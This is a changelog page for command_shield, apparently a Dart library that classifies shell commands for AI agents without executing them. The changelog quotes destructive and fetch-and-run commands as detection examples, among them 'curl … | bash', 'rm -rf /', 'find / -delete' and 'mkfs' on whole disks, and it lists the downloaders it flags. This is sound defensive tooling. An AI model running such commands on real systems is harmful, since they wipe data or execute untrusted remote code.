command_shield 1.2.0
command_shield: ^1.2.0 copied to clipboard
Security-first command-line analysis: parse, normalize, classify, analyze and policy-validate shell commands into ALLOW / REVIEW / DENY decisions without ever executing them. Built for AI agents and s [...]
1.2.0 #
Added #
- Much wider command coverage across the knowledge base. New
infrastructurecategory andIacKnowledgeplugin (terraform,tofu,terragrunt,pulumi,packer,ansible/-playbook/-galaxy/-vault,salt,puppet,chef,vault,consul,nomad). NewVcsKnowledgeplugin (hg,svn,bzr,fossil,cvs,jj,git-lfs,glab,tig,lazygit) — the version-control category previously held onlygit. NewModernCliKnowledgeplugin (jq,yq,fd,rg/ripgrep,bat,eza,delta,fzf,sd,gron, …). Existing plugins gained many entries: network inspection/transfer (nmap,ip,ss,netstat,tcpdump,mtr,socat,lftp,tailscale,wg,rclone,mc, …) and more cloud CLIs (doctl,flyctl,heroku,vercel,wrangler,gsutil,bq,eksctl, …); build/test tooling (cmake,ninja,bazel,just,pytest,jest,tsc,vite, …); package/version managers (bun,pipx,poetry,uv,conda,rustup,asdf,nvm,nix,snap,flatpak,twine, …); containers/orchestration (buildah,skopeo,oc,minikube,kind,kubectx,k9s, …); databases (pgcli,duckdb,cockroach,mongodump,dropdb/dropuser→highRisk, …); editors (code,helix,kak,man/info, …); crypto/secrets (age,sops,cosign,pass,certbot, macOSsecurity, …); more archive/compression tools; and process/hardware inspection (lsof,vmstat,free,lscpu,dmesg, …). - Security-critical disk/system commands that previously classified as
unknown (empty capabilities → "safe"). A new
DiskKnowledgeplugin covers disk-format/wipe tools (mkfs,mkfs.*,mke2fs,mkswap,wipefs,blkdiscard→critical), partitioners (fdisk,gdisk,sgdisk,cfdisk,parted→highRisk), macOSdiskutil(erase verbs refined tocritical) and secure-delete tools (srm,wipe).SystemConfigKnowledgegained kernel-module (modprobe,insmod,rmmod,kextload/kextunload), power/run-level (shutdown,reboot,halt,poweroff,init,telinit) and privileged-config tools (visudo,nvram,spctl,csrutil—disablerefined tocritical), plus more routine config names. ddnow refinesof=/dev/...(writing directly to a block device) tocriticalwith asystemConfigurationcapability.
Changed #
- Per-subcommand/argument refinement for high-traffic multi-mode tools.
kubectl/ocsplit into read (get/describe) vs write (apply) vsdelete(highRisk) vsexec/cp(executePrograms).terraform/tofu/terragrunt/pulumikeepplan/previewread-only whileapplyis mediumRisk anddestroy(or-auto-approve) is highRisk.systemctlis now read-only forstatus/show/list-*and only attributessystemConfigurationto state-changing verbs (reboot/poweroffhighRisk).npm/pnpm/yarn/bunrun/exec/dlxattributeexecutePrograms;docker/podmanrm/rmi/pruneattributedeleteFilesystem;aws/gcloud/azraise risk onrm/delete/destroytokens;vaultsplits read vs write;ansible-playbook --becomeadds privilege escalation. kill/pkill/killallnow flag the catastrophic forms — signalling PID 1 (init),-1/0(every process / the process group), a match-all pattern (pkill .) or-u root— ashighRisk, while a normalkill <pid>(incl.kill -1 <pid>SIGHUP) stays safe.find <path> -deleteis now classified byDestructiveCommandDetector—find / -deleteiscritical(and denied), while a scopedfind . -deletestays a medium deletion. Recursivechmod/chown/chgrpon a filesystem root or system directory (chmod -R 777 /) is nowhighRisk.ShellExecutionDetectornow also flags language interpreters running inline code —python -c,node -e/-p,bun -e,perl -e/-E,ruby -e,php -r,lua -e,osascript -e,Rscript -e,elixir -e,groovy -eanddeno eval— ashighRisk(matchingbash -c), without flagging an interpreter that merely runs a script file (python app.py).command -v/-Vlookups are no longer treated as executing their target.command -v rm(orcommand -v mkfs) resolves the name likewhich/type— it now reports onlyreadFilesysteminstead of inheriting the target's capabilities/risk, andDestructiveCommandDetectorskips it (socommand -v mkfs.ext4is no longer a falsecritical). Actually running a command throughcommand(command rm -rf /) still looks through as before. Adds aWrapperSpec.lookupFlagsknob.- Normalization resolves the Debian binary renames
batcat→bat,fdfind→fdand the package nameripgrep→rg. DestructiveCommandDetectornow also classifies disk-format/wipe tools (mkfs/mkfs.*/wipefs/…) anddd of=/dev/...ascritical, looking through wrapper commands (sosudo mkfs.ext4 /dev/sdais caught), and treats whole-disk device nodes (/dev/sd*,/dev/nvme*,/dev/disk*, …) as catastrophic targets.CommandFamiliesgained adiskDestructiveset and anisDiskDestructivehelper, and extended itsdestructive(srm,wipe,blkdiscard),downloaders(lftp,yt-dlp,youtube-dl,certutil,bitsadmin) andprivilege(gosu,run0,please) sets.RemoteExecDetector's raw-text fallback now recognises the additional downloaders and thepwsh/powershell/cmdshells indownload | shellpatterns.
1.1.0 #
Tests #
- Added parser coverage for commands that combine
|with&&/||, asserting the full AST structure: pipelines bind tighter than chain operators, runs of the same chain operator flatten, and different operators nest left-to-right (e.g.a | b && c | d,a | b && c || d,curl … | bash && echo done). - Added
CommandSyntax.genericcoverage confirming operators are left uninterpreted —|,&&and||survive as literal argument tokens on a single flat invocation rather than producingPipeline/CommandChainnodes. - Added inline sub-command parser coverage for PowerShell and Windows CMD —
previously only POSIX
sh -c "…"was tested.powershell -Command "…"andcmd /c|/k …now assert the re-parsedinlineCommandAST (incl. inner pipelines),walk()reaching nested invocations, depth bounding, thepwshalias,/ccase-insensitivity, and that-EncodedCommand/-encstay un-recursed.
Added #
-
Recursive analysis of inline interpreter sub-commands.
-
Inline-execution sub-commands are now parsed into a nested AST and analyzed recursively. A command string passed to an interpreter via an inline flag —
sh -c "...",bash -c '...'(and other POSIX shells),cmd /c ...,powershell -Command "..."— is re-parsed by the relevant parser and exposed on the newCommandInvocation.inlineCommandAST field. Because it is a child node,walk()descends into it, so every capability/effect/security detector and policy sees the inner command exactly as if it were run directly.sh -c "curl https://x/i.sh | bash"now yields the samecritical → DENYverdict as the barecurl https://x/i.sh | bash.- Catches forms the previous regex fallback missed, including single-quoted
scripts and non-remote-exec payloads (e.g.
bash -c "rm -rf /"). - Nesting is bounded (depth limit) to guard against pathological inputs.
- PowerShell
-EncodedCommandis intentionally not recursed (base64, not parseable) and remainscritical.
1.0.1 #
Plugin-based command knowledge base.
Added #
- Plugin architecture for command knowledge: knowledge is now contributed by
CommandKnowledgePlugins, one per domain. Twelve built-in plugins ship by default (filesystem,archive,shell,environment,process,system,network,container,packageManager,dartFlutter,git,windows), composed viadefaultKnowledgePlugins. Register your own withCommandKnowledgeBase(plugins: [...])or replace the built-ins entirely withincludeDefaults: false. - Declarative
CommandKnowledgeentries with rich fields:category,platforms,description,baseCapabilities,baseRisk,subcommands,argumentRules,wrapperand an optionalrefinefunction hook. Argument rules use composableArgumentMatches (ExactFlag,PrefixFlag,TokenPresent,ArgRegex,ArgPredicate). CommandKnowledgeBase.analyze()returning aCommandKnowledgeResult(capabilities, an aggregatedSecurityLevelrisk hint, the matched entry and explanatory notes), plusknowledgeFor()andallKnowledge.CommandAnalysis.knowledgeRisk: the highest knowledge-base risk hint across a command's invocations (advisory metadata).- Opt-in
KnowledgeRiskDetectorthat surfaces elevated knowledge-base risk (e.g. a force push) asknowledge-risksecurity findings. Not part ofSecurityAnalyzer.defaultDetectors, so default verdicts are unchanged. - Broader command coverage: Dart/Flutter sub-commands, archive/compression
tools, cloud CLIs (
gh,aws,gcloud,az,kubectl), moregitsub-commands, additional package managers and Windows-specific tools.
Changed (breaking) #
CommandKnowledgeBaseis now composed from plugins. TheextraExecutableCapabilitiesconstructor parameter and the staticwrapperCommandsset have been removed; supply aCommandKnowledgePlugin(e.g.ListKnowledgePlugin) and per-entryWrapperSpecs instead.- Sub-command matching now uses the first non-flag argument rather than the
first argument, so leading global flags (e.g.
git --no-pager push) no longer hide the sub-command.
1.0.0 #
Initial release.
- Multi-syntax parsing:
generic,posixShell,bash,windowsCmd,powershell, producing a typed, immutableCommandNodeAST. Parsers never throw and reportParseDiagnostics for malformed input. - Extensible executable normalization (directory/extension stripping, version suffix collapsing, aliases).
- Capability detection via a data-driven, extensible
CommandKnowledgeBase, including wrapper-command look-through (e.g.sudo,env,xargs). - Effect classification into human-readable
CommandEffects. - Security analysis with eight detectors: dangerous operators, command
substitution, inline shell execution (incl.
-EncodedCommand), privilege escalation, destructive commands (rm -rf /⇒ critical), remote download-and-execute (curl … | bash⇒ critical), path traversal, and environment expansion. - Composable policy engine (
CommandPolicy/PolicySet) with nine built-in policies and ALLOW / REVIEW / DENY decisions. CommandShieldfacade exposingparse,analyze, andvalidate.- Comprehensive unit, integration, and regression test suites; CI with formatting, analysis, tests, and ≥90% coverage enforcement.